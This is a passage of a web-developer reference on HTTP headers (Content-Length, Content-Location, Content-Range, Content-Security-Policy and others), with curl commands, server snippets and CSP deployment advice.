``` `Content-Language: ar` won't flip the layout or pick UTF-8 for you. The HTML [`dir` attribute](https://html.spec.whatwg.org/multipage/dom.html#the-dir-attribute) controls direction and the charset declaration controls decoding. A language tag does neither. ## Language Tags Tags follow [BCP 47](https://www.rfc-editor.org/rfc/rfc5646), which allows language, script, region and other subtags. You're not limited to two ISO codes. | Header value | Intended audience | | --- | --- | | `en-US` | US English readers | | `pt-BR` | Brazilian Portuguese readers | | `zh-Hant` | Readers of Chinese in Traditional script | | `en, fr` | English and French readers | Two common mistakes: `en_US` uses the locale-style underscore instead of a hyphen, and `en;q=0.8` is request-negotiation syntax. This response field takes plain tags, never a weighted preference list. Tags are case-insensitive. By convention regions are uppercase and scripts are title-case, but `EN-us` and `en-US` mean the same language. Treat them as one translation, not two. ## Content-Language vs Accept-Language `Accept-Language` is what the client would like. `Content-Language` describes what the server actually sent. Sending one doesn't mean the server looked at the other, so add `Vary: Accept-Language` only on routes that really negotiate. A client can send `Accept-Language: fr` to an English-only resource and get `Content-Language: en` back. That's not a contradiction; the server is accurately describing what it sent. Look at the route's selection logic before calling mismatched values a bug. On negotiated endpoints, also check that a cached English response isn't being served to French requests. ## SEO Considerations This header describes the current response. It doesn't tell search engines where the other translations live, so it can't stand in for links between translated pages. For an English/French pair, put these annotations in the HTML head of **both** pages, using their real published URLs: ```html ``` [Google's localized-page documentation](https://developers.google.com/search/docs/specialty/international/localized-versions) requires each set to include the page itself plus its alternatives, linked in both directions. `Content-Language: fr` on its own can't express that pairing. The annotations point to alternatives. Google still decides which URL to show each searcher, and nothing gets translated for you. ## Testing Content-Language ```bash curl -sS -D - -o /dev/null https://example.com/welcome.fr.txt ``` For a negotiated route, repeat with different `Accept-Language` values and check both `Content-Language` and `Vary`: ```bash curl -sS -D - -o /dev/null -H 'Accept-Language: en' https://example.com/welcome curl -sS -D - -o /dev/null -H 'Accept-Language: fr' https://example.com/welcome ``` When chasing a language mismatch, compare the body as well as the header. A response labeled `fr` that still contains the English message means the app picked the wrong translation. If the origin gets it right but the public URL doesn't, look at `Vary` and your cache configuration. Check the HTML `lang` declaration on its own, too: a correct header won't fix missing or wrong markup. Same-origin Fetch can read the field: ```javascript const response = await fetch('/welcome.fr.txt') if (!response.ok) throw new Error(`HTTP ${response.status}`) console.log(response.headers.get('Content-Language')) console.log(await response.text()) ``` A missing field comes back as `null`. Keep it that way in any diagnostic tool you write. Turning `null` into a guessed `en` swaps HTTP's all-audiences default for an assumption of your own. `Content-Language` is a [CORS-safelisted response field](https://fetch.spec.whatwg.org/#cors-safelisted-response-header-name), so a permitted cross-origin Fetch can read it without listing it in `Access-Control-Expose-Headers`. The server still has to allow the cross-origin request in the first place. ## Related Headers - [Accept-Language](https://howhttpworks.com/headers/accept-language) - [Content-Type](https://howhttpworks.com/headers/content-type) - [Vary](https://howhttpworks.com/headers/vary) --- # Content-Length > Learn how Content-Length specifies the body size in bytes. Essential for progress indicators, connection management, and chunked transfer decisions. Source: https://howhttpworks.com/headers/content-length Last reviewed: 2026-10-05 > **TL;DR:** `Content-Length` is the size of the message body in bytes, written as a plain decimal number. Count bytes, not characters, and count them after compression: for a gzipped body it's the gzipped size. HTTP/1.1 chunked responses leave it out, and HTTP/2 and HTTP/3 don't need it. ## What is Content-Length? The header gives the body size in bytes. In HTTP/1.1 it's how the receiver knows where one message ends and the next begins. In HTTP/2 and HTTP/3 the framing handles that, but the header still tells the receiver how much to expect. [RFC 9110 §8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defines it. The value is digits only. `Content-Length: 5` is valid; `Content-Length: 5 bytes` isn't. No units, signs, or thousands separators. ## How It Works In this example response (trimmed, like the others on this page), `Hello` is exactly five ASCII bytes with no trailing newline: ```http HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 5 Hello ``` The count covers the body only. Headers and chunk framing don't count. ## Why It Matters With a known length, an HTTP/1.1 client knows when the response is done and can reuse the connection for the next request. Chunked encoding allows reuse too, so leaving out `Content-Length` doesn't by itself force the connection to close. For download progress bars, note that browser APIs can hand you decompressed bytes while the header counts compressed ones. Dividing one by the other doesn't give you progress. ## Calculating Content-Length `Café` has four JavaScript string code units and five UTF-8 bytes: ```javascript const body = Buffer.from('Café', 'utf8') console.log(body.length) // 5 ``` If you gzip the body, measure the compressed buffer, not the original string. [Node's HTTP documentation](https://nodejs.org/api/http.html#responsewriteheadstatuscode-statusmessage-headers) also calls this out: use byte length, not character length. ## When Content-Length is Required No rule says every request with a body needs it. HTTP/1.1 requests can use chunked encoding, though a server is allowed to refuse those with `411 Length Required`. If you know the length up front, send it instead of chunking; see [RFC 9112 §6.3](https://www.rfc-editor.org/rfc/rfc9112#section-6.3). An HTTP/1.1 request with neither `Transfer-Encoding` nor `Content-Length` has an empty body. Unlike a response, a request can't mark the end of its body by closing the connection. ## When Content-Length is Not Used Leave it off any message that uses `Transfer-Encoding`. It's also not allowed on `1xx` and `204` responses, or on a successful (2xx) response to `CONNECT`. Two cases look odd but are fine. A `HEAD` response can carry the length a GET would have sent, even though it has no body. A `304` can carry the length of the full `200` response. In both, the number describes the resource; no body follows. ## Content-Length vs Transfer-Encoding With chunked encoding, each chunk carries its own size and a zero-length chunk marks the end. A response with neither header just ends when the server closes the connection. [HTTP/2](https://www.rfc-editor.org/rfc/rfc9113#section-8.1.1) and [HTTP/3](https://www.rfc-editor.org/rfc/rfc9114#section-4.1.2) use their own frames, but if you do send `Content-Length`, it has to match the bytes actually sent (except on responses that never have a body, like HEAD and 304). ## Common Issues A wrong length breaks more than progress bars. A body shorter than declared is incomplete. A declared length that's too small leaves extra bytes that get parsed as another message. Treat any mismatch as a protocol error. To check a real server, look at an actual GET, not just a HEAD: ```bash curl --http1.1 -sS -D /tmp/length.headers -o /tmp/length.body \ -H 'Accept-Encoding: identity' https://example.com/ cat /tmp/length.headers wc -c /tmp/length.body ``` Check `Content-Encoding` first. If the body came back compressed, compare the length with the compressed size. ## Getting Content-Length right For streamed bodies, let your HTTP library pick the framing. If middleware changes the body after the length was set, recalculate the length or drop it before the headers go out. A proxy that knows a length is wrong must not pass it along. For JSON, serialize once and count the UTF-8 bytes of the result: ```javascript const body = JSON.stringify({ message: 'Café' }) const length = Buffer.byteLength(body, 'utf8') ``` Gzip that body afterwards and `length` is wrong. Either count the compressed buffer, or let your compression middleware drop the old header and pick the framing. ## Server Examples A complete Node server that counts the bytes it actually sends: ```javascript const http = require('node:http') http.createServer((req, res) => { const body = Buffer.from('Café', 'utf8') res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8', 'Content-Length': body.length }) res.end(body) }).listen(3000) ``` To serve a file in Go, use [`http.ServeContent`](https://pkg.go.dev/net/http#ServeContent) instead of setting the length yourself and copying bytes: ```go func report(w http.ResponseWriter, r *http.Request) { f, err := os.Open("/srv/reports/report.pdf") if err != nil { http.Error(w, "Report unavailable", http.StatusNotFound) return } defer f.Close() info, err := f.Stat() if err != nil { http.Error(w, "Cannot stat report", http.StatusInternalServerError) return } http.ServeContent(w, r, "report.pdf", info.ModTime(), f) } ``` Drop this handler into a Go server that imports `net/http` and `os`. `ServeContent` seeks to find the size and handles range and conditional requests. A range response's length is the size of the returned slice, so hard-coding the full file size would be wrong. ## Related Headers - [Transfer-Encoding](https://howhttpworks.com/headers/transfer-encoding) - [Content-Encoding](https://howhttpworks.com/headers/content-encoding) - [Content-Type](https://howhttpworks.com/headers/content-type) --- # Content-Location Header > Learn how Content-Location indicates an alternate URL for returned content. Useful for content negotiation and identifying canonical resource locations. Source: https://howhttpworks.com/headers/content-location Last reviewed: 2026-10-05 > **TL;DR:** `Content-Location` tells the client the direct URL of what it just received. If `/report` negotiates JSON, the server can send `Content-Location: /report.json`. It's metadata only: no redirect, no canonical-URL declaration, no extra cache entry. ## What is Content-Location? Its main job is naming the variant a server picked: a request to `/report` might negotiate JSON and come back with `Content-Location: /report.json`. It describes the response body; the request URL stays what it was. See [RFC 9110 §8.7](https://www.rfc-editor.org/rfc/rfc9110#section-8.7). ## How Content-Location Works Requests and responses on this page are examples, with bodies omitted: ```http GET /report HTTP/1.1 Host: example.com Accept: application/json ``` ```http HTTP/1.1 200 OK Content-Type: application/json Content-Location: /report.json Vary: Accept ``` The address bar stays at `/report`. The server should also serve this representation at `/report.json`; the header is a pointer, so you still have to build the route. ## Syntax ```http Content-Location: /report.json Content-Location: report.json Content-Location: https://example.com/report.json ``` Relative values resolve against the request's target URI. A leading slash starts at the origin root; `report.json` resolves relative to the target path. For a response to `https://example.com/reports/current`, `summary.json` resolves to `https://example.com/reports/summary.json`; `/summary.json` resolves to `https://example.com/summary.json`. Resolve it against the request URL, not against the page that made the fetch. It also leaves the base URL for relative links inside an HTML document alone. Naming the representation and resolving the document's links are separate things. ## Common Examples A negotiated `/welcome` response might point to `/welcome.fr.html`. A `/posts/latest` response might point to the specific post it returned. The content at either URL may change later. | Request target | Possible returned field | Meaning | | --- | --- | --- | | `/welcome` | `/welcome.fr.html` | Selected French representation | | `/posts/latest` | `/posts/42` | Post currently returned by the alias | | `/report` | `/report.json` | Selected JSON representation | The alias and the post it points to live on different timelines. Publish a new post and `/posts/latest` returns that one, while `/posts/42` keeps naming the old one. And `/posts/42` itself can be edited, unless your application promises otherwise. ## Real-World Scenarios In a `201 Created` response, `Location` identifies the created resource. If `Content-Location` has the same value, the response body is a current representation of that resource. If it differs, the body might be a status report about the operation instead. [MDN illustrates the distinction](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Location). Here the body of a creation response is the new report itself: ```http HTTP/1.1 201 Created Location: /reports/42 Content-Location: /reports/42 Content-Type: application/json ``` A purchase that returns a receipt is different: the created order and the receipt in the body have their own URLs. ```http HTTP/1.1 201 Created Location: /orders/42 Content-Location: /receipts/42 Content-Type: application/json ``` Clients should go by the API contract when choosing which URI to fetch. A creation response's body might be the new object, or it might be something else entirely. ## Server Implementation These Express routes serve both the negotiation endpoint and its identified variant: ```javascript const report = { status: 'ready' } app.get('/report.json', (req, res) => res.json(report)) app.get('/report', (req, res) => { res.vary('Accept') if (!req.accepts('application/json')) return res.status(406).end() res.set('Content-Location', '/report.json') res.json(report) }) ``` Set headers before `res.json()` sends the response. [Express documents `req.accepts()`](https://expressjs.com/en/5x/api/request/#req.accepts) and [response methods](https://expressjs.com/en/5x/api/response/). A FastAPI application can return an alias and a direct endpoint for the same fixture: ```python from fastapi import FastAPI from fastapi.responses import JSONResponse app = FastAPI() post = {'id': 42, 'title': 'Release notes'} @app.get('/posts/42') def specific_post(): return post @app.get('/posts/latest') def latest_post(): return JSONResponse(post, headers={'Content-Location': '/posts/42'}) ``` When returning a response object directly, put headers on **that object**. [FastAPI distinguishes this from setting headers on its injected temporary `Response`](https://fastapi.tiangolo.com/advanced/response-headers/). The alias is a real endpoint that returns data, not a redirect. In a real app, swap the fixture for the database record you selected, and make sure the direct endpoint enforces the same access rules. For a fixed Django alias, set the representation identifier on the returned object: ```python from django.http import JsonResponse def latest_post(request): response = JsonResponse({'id': 42, 'title': 'Release notes'}) response['Content-Location'] = '/posts/42' return response ``` Map `/posts/42` to a view that returns the post too. The header won't register a URL pattern for you. ## Getting Content-Location right A shared cache stores the `/report` response under `/report`, not under `/report.json` as well. [RFC 9111 §2](https://www.rfc-editor.org/rfc/rfc9111#section-2) bases cache keys on the request method and target URI, with negotiated variants differentiated using `Vary`. If you want aliasing, configure it on your cache and test it. Be careful with a value pointing at another origin: the server sending it may not control that URL. RFC 9110 §8.7 warns that a client can't work out ownership from the field alone. Invalidation works differently again. After a successful unsafe request such as POST, a cache must invalidate the request target and **may** invalidate same-origin URIs named in `Location` or `Content-Location`. It must not invalidate URIs on another origin this way. [RFC 9111 §4.4](https://www.rfc-editor.org/rfc/rfc9111.html#section-4.4) has the rules. So naming `/receipts/42` in a POST response is a hint, and some caches will keep serving their old copy of the receipt. ## Content-Location vs Location `Location` supplies a redirect target or identifies a newly created resource. `Content-Location` describes the enclosed representation. Both can appear on a `201`; `Content-Location` is not restricted to `200` responses. ## Common Use Cases Use the field when a negotiated variant or an operation's returned report has a useful retrieval URL. For a redirect, send the appropriate `3xx` status and `Location` instead. Clients that send it on requests hit a gotcha. `PUT /report` with `Content-Location: /report.fr.html` is still a PUT to `/report`, not an update to just the French variant; RFC 9110 §8.7 requires the server to keep the original request semantics. To update one variant, send the PUT to that variant's URI. On the server, treat an incoming Content-Location as context, never as a new target. ## Testing Content-Location ```bash curl -sS -D - -o /dev/null -H 'Accept: application/json' https://example.com/report curl -sS -D - -o /dev/null https://example.com/report.json ``` Check that the variant endpoint exists and returns the same representation. `curl -L` follows redirects only; it won't fetch the `Content-Location` URL for you. In a same-origin browser client, inspect and resolve the field explicitly: ```javascript const response = await fetch('/report', { headers: { Accept: 'application/json' } }) if (!response.ok) throw new Error(`HTTP ${response.status}`) const value = response.headers.get('Content-Location') if (value) { const representation = new URL(value, response.url) console.log(representation.href) } ``` [`response.url`](https://developer.mozilla.org/en-US/docs/Web/API/Response/url) supplies the final response URL, including redirects. Logging the URL has no side effects: no navigation, no caching. If you do fetch it, check the destination against your application's rules first. Cross-origin JavaScript needs the server to expose `Content-Location` through CORS before it can read this field. ## Related Headers - [Location](https://howhttpworks.com/headers/location) - [Content-Type](https://howhttpworks.com/headers/content-type) - [Vary](https://howhttpworks.com/headers/vary) - [ETag](https://howhttpworks.com/headers/etag) --- # Content-Range Header > Learn how the Content-Range header indicates which portion of a resource is being sent in partial content (206) responses for range requests and streaming. Source: https://howhttpworks.com/headers/content-range Last reviewed: 2026-10-05 > **TL;DR:** `Content-Range` tells you which slice of a file a `206 Partial Content` response carries. `bytes 5-9/10` means bytes 5 through 9 (inclusive, zero-based) of a 10-byte file; `/*` means the total size is unknown. On a `416`, `bytes */10` reports the file size because your range didn't fit. When resuming a download, confirm the status is 206 and the offsets match before appending. ## What is Content-Range? Content-Range is the server's answer to a [Range](https://howhttpworks.com/headers/range) request. It either names the bytes being returned or, when the range can't be served, reports the full size. [RFC 9110 §14.4](https://www.rfc-editor.org/rfc/rfc9110#section-14.4) defines its meaning on `206 Partial Content` and `416 Range Not Satisfiable`. On a `200` it has no partial-content meaning: a 200 carries the whole representation, whatever headers you add. ## Syntax The three forms you'll see (all examples on this page are trimmed): ```http Content-Range: bytes 5-9/10 Content-Range: bytes 5-9/* Content-Range: bytes */10 ``` Offsets are zero-based and the end is inclusive. `/10` is the size of the complete representation, not of this response. `/*` means the server doesn't know the complete size. `*/10` is the form used when the requested range couldn't be satisfied. A valid byte interval has an end at or after its start, and, when the total is known, an end below the total. `bytes` is the unit you'll meet in practice, but the grammar allows other range units. ## How Content-Range Works Take a ten-byte file containing `0123456789`. A request with `Range: bytes=5-` gets back: ```http HTTP/1.1 206 Partial Content Content-Type: text/plain Content-Range: bytes 5-9/10 Content-Length: 5 56789 ``` `Content-Length` is 5 because it measures this message's body, while the `/10` in Content-Range is the size of the whole file. If the response has a Content-Encoding, the offsets count bytes of the encoded representation, not the decoded one. A request starting at offset ten asks for bytes that don't exist, so it gets: ```http HTTP/1.1 416 Range Not Satisfiable Content-Range: bytes */10 Content-Length: 0 ``` A `416` may carry an error page. In that case Content-Length is the error page's size, and the file size stays in Content-Range. ## Common Examples When a response carries several ranges, Content-Range goes **inside each part**, not in the top-level headers. Here's a multipart response that marks its end by closing the connection: ```http HTTP/1.1 206 Partial Content Content-Type: multipart/byteranges; boundary=demo Connection: close --demo Content-Type: text/plain Content-Range: bytes 0-1/10 01 --demo Content-Type: text/plain Content-Range: bytes 8-9/10 89 --demo-- ``` If this response had a top-level Content-Length, it would count the boundaries and part headers along with the data, so it would be larger than the sum of the selected byte ranges. To inspect real multipart framing, use the [Go fixture](https://howhttpworks.com/headers/if-range#server-implementation), which accepts multiple ranges: ```bash curl -sS -D /tmp/multipart.headers -o /tmp/multipart.body \ -H 'Range: bytes=0-1,8-9' http://127.0.0.1:8082/sample.txt cat /tmp/multipart.headers python3 -c 'from pathlib import Path; print(repr(Path("/tmp/multipart.body").read_bytes()))' ``` The real boundary comes from the response's Content-Type and won't be `demo`. The Python one-liner prints carriage returns and line feeds explicitly, so you can tell the MIME delimiters apart from the data. Look for the two part-level intervals and their `01` and `89` payloads. Any parser you write has to read the declared boundary from Content-Type rather than search for a fixed string. Servers may merge overlapping or nearby ranges, so the intervals you get back can differ from the ones you asked for. Validate what came back and write each part at the offset it advertises. Concatenating parts in arrival order silently drops gaps or duplicates overlaps; an interval-aware or sparse-file assembler has to track which positions it has covered. ## Server Implementation Use your server's built-in static-file handler if it supports ranges; the [Range page](https://howhttpworks.com/headers/range#server-implementation) has a reproducible nginx fixture. Hand-rolled implementations go wrong when they set the headers but forget to slice the body. Send exactly the selected inclusive interval, whose length is `end - start + 1`. Multipart responses also need correct boundaries and framing. Each part gets only its own slice, never a full copy of the file labelled as a range. In Express, let [`res.sendFile()`](https://expressjs.com/en/5x/api/response/#res.sendFile) do the slicing. Once you've created the fixture from the Range page, add this route to an existing app on port 3000: ```javascript app.get('/sample.txt', (req, res, next) => { res.sendFile('sample.txt', { root: '/tmp/http-range-demo', acceptRanges: true, }, (error) => { if (error) next(error); }); }); ``` sendFile produces the partial body and the matching headers together. A relative filename needs the `root` option; without it, sendFile wants an absolute path. The callback passes transfer errors on to your error handler. Let sendFile own the response: a later `res.send()` or a manual Content-Length set to the full file size breaks it. If you write your own, watch the off-by-one between HTTP and your file API. HTTP's end offset is inclusive, so bytes five through nine are five bytes. JavaScript's `subarray(5, 10)` has an exclusive end, which means `subarray(5, 9)` drops the last requested byte. Test the actual output against the interval in the header, not just against the file length. ## Getting Content-Range right Before you stitch downloaded pieces together, check the returned start and end offsets, the complete length if known, and the validator. If an [If-Range](https://howhttpworks.com/headers/if-range) validator no longer matches, the server sends a full `200` instead of a 206; replace the partial file with it rather than appending. Content-Range isn't a CORS-safelisted response header, so cross-origin browser code can't read it by default. The origin, which must already allow the caller through CORS, has to expose it: ```http Access-Control-Expose-Headers: Content-Range, Accept-Ranges, ETag ``` This header only makes the listed headers readable. The caller still needs the usual CORS permission for the request itself. For a small, uncompressed response in the browser, this function checks the single-part form before returning the bytes. It accepts an unknown total (`/*`) and rejects the `*/total` form used by 416: ```javascript async function readPartial(response, expectedStart) { if (response.status !== 206) throw new Error(`Expected 206: ${response.status}`); if ((response.headers.get('content-encoding') ?? 'identity') !== 'identity') { throw new Error('This reader requires identity-coded bytes'); } const match = /^bytes (\d+)-(\d+)\/(\d+|\*)$/.exec( response.headers.get('content-range') ?? '', ); if (!match) throw new Error('Expected a single byte interval'); const start = BigInt(match[1]); const end = BigInt(match[2]); const total = match[3] === '*' ? null : BigInt(match[3]); if (start !== BigInt(expectedStart) || end < start || (total !== null && end >= total)) { throw new Error('Invalid interval'); } const bytes = new Uint8Array(await response.arrayBuffer()); if (BigInt(bytes.length) !== end - start + 1n) { throw new Error('Body does not match Content-Range'); } return { bytes, start, end, total }; } ``` BigInt keeps very large offsets exact; a regular number could round them to a different byte. The whole body sits in memory here, so stream large files instead. This function checks framing only. Your download assembler still has to compare the saved ETag, content coding and complete length before it combines pieces from different responses. A multipart response has no top-level Content-Range, so this function won't parse it. Use a MIME parser and run the same checks on each part; treating the whole multipart body as one interval would write the boundaries into your file. With an unknown total (`/*`), you still get a definite interval to validate, but you don't learn the final file size or whether this interval reaches the end. Track completion separately from interval validation. ## Testing Content-Range Send a GET to the nginx fixture from the [Range page](https://howhttpworks.com/headers/range#server-implementation), which listens on port 8080: ```bash curl -sS -D /tmp/range.headers -o /tmp/range.body \ --range 5- http://localhost:8080/sample.txt cat /tmp/range.headers wc -c < /tmp/range.body ``` Check for `206` and `bytes 5-9/10` in the headers, then a five-byte body. Use GET here rather than `curl -I`: that sends HEAD, and servers ignore Range on HEAD. To see the rejection, request a range past the end of the fixture. Saving the headers to a file keeps them even though the request fails: ```bash curl -sS -D /tmp/unsatisfied.headers -o /tmp/unsatisfied.body \ --range 10- http://localhost:8080/sample.txt cat /tmp/unsatisfied.headers wc -c < /tmp/unsatisfied.body ``` The file size shows up in `bytes */10`. Any error page's size shows up in Content-Length or the message framing, and the two numbers usually differ. If a proxy swaps in its own error page, check whether it kept Content-Range before you conclude the origin didn't report a length. ## Related Headers - [Range](https://howhttpworks.com/headers/range) - [Accept-Ranges](https://howhttpworks.com/headers/accept-ranges) - [If-Range](https://howhttpworks.com/headers/if-range) --- # Content-Security-Policy Header: Directives, Nonces and Console Errors > Content-Security-Policy (CSP) limits what a page may load or run. Directives, nonces, strict-dynamic, Report-Only rollout, console errors, helmet and Next.js. Source: https://howhttpworks.com/headers/content-security-policy Last reviewed: 2026-10-04 > **TL;DR:** `Content-Security-Policy` tells the browser which sources may supply scripts, styles, frames and connections, so injected code is blocked. Start with `Content-Security-Policy-Report-Only`, use nonces plus `strict-dynamic` instead of `unsafe-inline`, and add `object-src 'none'; base-uri 'none'; frame-ancestors 'self'`. ## What it blocks ```http HTTP/1.1 200 OK Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none' ``` An attacker who injects `` through an XSS bug is stopped. In the console: ```text Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. ``` Other messages you will meet: ```text Refused to load the script 'https://cdn.example.net/lib.js' because it violates the following Content Security Policy directive: "script-src 'self'". Refused to connect to 'https://api.example.com/data' because it violates the document's Content Security Policy. Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'". Refused to frame 'https://other.example/' because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self'". Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive ``` Firefox words it differently and the text varies by version, for example `Content-Security-Policy: The page's settings blocked the loading of a resource at inline ("script-src")`. ## Core directives | Directive | Controls | | --- | --- | | `default-src` | Fallback for fetch directives not listed | | `script-src` | JavaScript, including inline and `eval` | | `style-src` | CSS, including inline styles | | `img-src`, `font-src`, `media-src` | Images, fonts, audio/video | | `connect-src` | `fetch`, XHR, WebSocket, EventSource, beacons. Blocks API calls | | `frame-src` / `child-src` | What this page may embed | | `frame-ancestors` | Who may embed this page (replaces X-Frame-Options) | | `form-action` | Where forms may submit | | `base-uri` | Allowed ``; set `'none'` or `'self'` | | `object-src` | Plugins; set `'none'` | | `upgrade-insecure-requests` | Rewrites `http://` subresources to `https://` | | `report-to` / `report-uri` | Where violations go | `frame-ancestors`, `report-uri`, `report-to` and `sandbox` do not fall back to `default-src`. `prefetch-src` and `navigate-to` were dropped from the standard or never shipped; do not rely on them. Source values: `'self'`, `'none'`, `https:`, `https://cdn.example.com`, `https://*.example.com`, `'nonce-'`, `'sha256-'`, `'strict-dynamic'`, `'unsafe-inline'`, `'unsafe-eval'`, `'wasm-unsafe-eval'`, `'report-sample'`. Keywords must be quoted. ## Strict CSP with nonces The recommended modern policy needs no host list: ```http Content-Security-Policy: script-src 'nonce-rAnd0m123' 'strict-dynamic'; object-src 'none'; base-uri 'none' ``` ```html ``` The nonce must be unguessable (at least 128 bits of randomness) and new on every response. A static nonce, or caching a page with a baked-in nonce, defeats it. With `strict-dynamic`, scripts loaded by trusted scripts also run, and `'self'` and host entries are ignored by modern browsers (keep `https:` and `'unsafe-inline'` as fallbacks for very old ones; they are ignored when a nonce is present). Express with helmet and a per-request nonce: ```javascript const crypto = require('crypto') const helmet = require('helmet') app.use((req, res, next) => { res.locals.cspNonce = crypto.randomBytes(16).toString('base64') next() }) app.use( helmet.contentSecurityPolicy({ useDefaults: true, directives: { 'script-src': ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`, "'strict-dynamic'"], 'object-src': ["'none'"], 'base-uri': ["'none'"], 'frame-ancestors': ["'self'"] } }) ) ``` Next.js (App Router) generates the nonce in its request proxy (called middleware before Next.js 16) and reads it from the `x-nonce` request header; pages must be dynamically rendered for nonces to apply. Condensed from the official guide: ```typescript // proxy.ts (middleware.ts with `export function middleware` before Next.js 16) import { NextRequest, NextResponse } from 'next/server' export function proxy(request: NextRequest) { const nonce = Buffer.from(crypto.randomUUID()).toString('base64') const csp = `default-src 'self'; script-src 'self' 'nonce-${nonce}' 'strict-dynamic'; style-src 'self' 'nonce-${nonce}'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'` const headers = new Headers(request.headers) headers.set('x-nonce', nonce) headers.set('Content-Security-Policy', csp) const response = NextResponse.next({ request: { headers } }) response.headers.set('Content-Security-Policy', csp) return response } ``` In development, React needs `'unsafe-eval'` for debugging; add it only when `NODE_ENV === 'development'`. nginx (static policy, no inline scripts): ```nginx add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'self'" always; ``` Static HTML behind nginx cannot use nonces; use `'sha256-...'` hashes of inline scripts instead. The browser prints the needed hash in the violation message. ## Report-Only rollout ```http Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-to csp-endpoint Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports" ``` Violations are logged and sent but nothing is blocked. For cross-browser coverage send both, since Firefox and Safari use the older mechanism: ```http Content-Security-Policy: ...; report-uri /csp-report; report-to csp-endpoint ``` Report-Only supports every directive except `sandbox`, which it ignores. A `` tag cannot deliver `report-uri`, `frame-ancestors` or `sandbox`, and cannot be Report-Only at all. Receiver: ```javascript app.post( '/csp-report', express.json({ type: ['application/csp-report', 'application/reports+json', 'application/json'] }), (req, res) => { console.warn('CSP violation', JSON.stringify(req.body)) res.sendStatus(204) } ) ``` Expect noise from browser extensions injecting scripts; filter on `blocked-uri` values like `chrome-extension://` and `moz-extension://`. ## Debug ```bash curl -sI https://example.com | grep -i '^content-security-policy' ``` - Several `Content-Security-Policy` headers (or a header plus a meta tag) combine, and each must allow a resource, so a second, stricter policy from a CDN or framework silently breaks things. Find the source with `curl -sI` against origin and edge separately. - The Network panel's "Issues" tab and the Security panel list the blocked directive. - Inline event handlers such as `onclick="..."` are blocked without `'unsafe-inline'` or `'unsafe-hashes'`; use `addEventListener`. - Google Tag Manager, Stripe and analytics scripts add their own hosts to `script-src`, `connect-src` and `frame-src`; take the lists from their docs. - Evaluate your policy with Google's CSP Evaluator. ## Pitfalls - `unsafe-inline` in `script-src` without a nonce makes the policy mostly decorative against XSS. - Allowlisting a JSONP-capable or user-content host (`https://*.googleapis.com`, `https://cdn.jsdelivr.net`) allows script gadgets; nonces avoid this. - `default-src 'self'` alone does not stop form posts to other sites or framing of your page; add `form-action` and `frame-ancestors`. - Policies are per document. Workers and iframes follow their own response headers, except that `blob:`/`data:` workers inherit. ## Related - [X-Frame-Options](https://howhttpworks.com/headers/x-frame-options), [X-Content-Type-Options](https://howhttpworks.com/headers/x-content-type-options), [Referrer-Policy](https://howhttpworks.com/headers/referrer-policy), [Permissions-Policy](https://howhttpworks.com/headers/permissions-policy), [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security) - [CORS vs CSP](https://howhttpworks.com/compare/cors-vs-csp) and the [Site verifier](https://howhttpworks.com/tools/site-verifier) - [CSP Report-Only](https://howhttpworks.com/headers/content-security-policy-report-only) for rollout, and [Reporting-Endpoints](https://howhttpworks.com/headers/reporting-endpoints) for `report-to` --- # Content-Type Header: Values, Examples, charset > Content-Type tells the receiver what the body is: application/json, text/html; charset=utf-8, multipart/form-data. Common values, examples and 415 fixes. Source: https://howhttpworks.com/headers/content-type Last reviewed: 2026-10-05 > **TL;DR:** `Content-Type` names the media type of the body. Send `application/json` with JSON, let your HTTP client set the `multipart/form-data` boundary, and add `charset=utf-8` to `text/*` types; wrong or missing values cause 415 errors and blocked scripts. ## Syntax ```http Content-Type: text/html; charset=utf-8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx3ZQ ``` A media type is `type/subtype`, optionally followed by `; parameter=value`. Types are case-insensitive. `charset` is meaningful for `text/*` types; `boundary` is required for `multipart/*`. ## Common values | Content-Type | Used for | | --- | --- | | `text/html; charset=utf-8` | Web pages | | `text/plain; charset=utf-8` | Plain text | | `text/css`, `text/javascript` | Stylesheets and scripts (RFC 9239 makes `text/javascript` the one to use) | | `application/json` | JSON APIs | | `application/problem+json` | RFC 9457 error bodies | | `application/x-www-form-urlencoded` | Default HTML form posts | | `multipart/form-data` | File uploads | | `application/octet-stream` | Unknown binary; browsers download | | `application/pdf`, `application/zip` | Documents and archives | | `image/png`, `image/webp`, `image/svg+xml`, `video/mp4` | Media | ## Requests ```http POST /api/users HTTP/1.1 Content-Type: application/json {"name":"Alice"} ``` With `fetch` and `FormData`, do not set the header yourself. The browser adds the boundary: ```javascript // Right: browser sets multipart/form-data; boundary=... fetch('/upload', { method: 'POST', body: formData }) // Wrong: the boundary is missing and the server cannot split the parts fetch('/upload', { method: 'POST', body: formData, headers: { 'Content-Type': 'multipart/form-data' } }) ``` With curl, `-d` defaults to `application/x-www-form-urlencoded`, which is why JSON posts fail until you add `-H 'Content-Type: application/json'`: ```bash curl -i https://api.example.com/users -d '{"name":"Alice"}' # HTTP/1.1 415 Unsupported Media Type (or 400 with an empty body) curl -i https://api.example.com/users -H 'Content-Type: application/json' -d '{"name":"Alice"}' ``` One CORS note: `Content-Type: application/json` is not a safelisted value for cross-origin requests, so it triggers a preflight. Only `application/x-www-form-urlencoded`, `multipart/form-data` and `text/plain` are exempt. See [CORS preflight](https://howhttpworks.com/debug/cors-preflight). ## Errors people search for **`Refused to execute script from 'https://example.com/app.js' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.`** The path returned your SPA fallback or a 404 page. Check the actual response with `curl -sI`, fix the asset path or `try_files`/rewrite rule, and keep `X-Content-Type-Options: nosniff` on. **`Refused to apply style from '...' because its MIME type 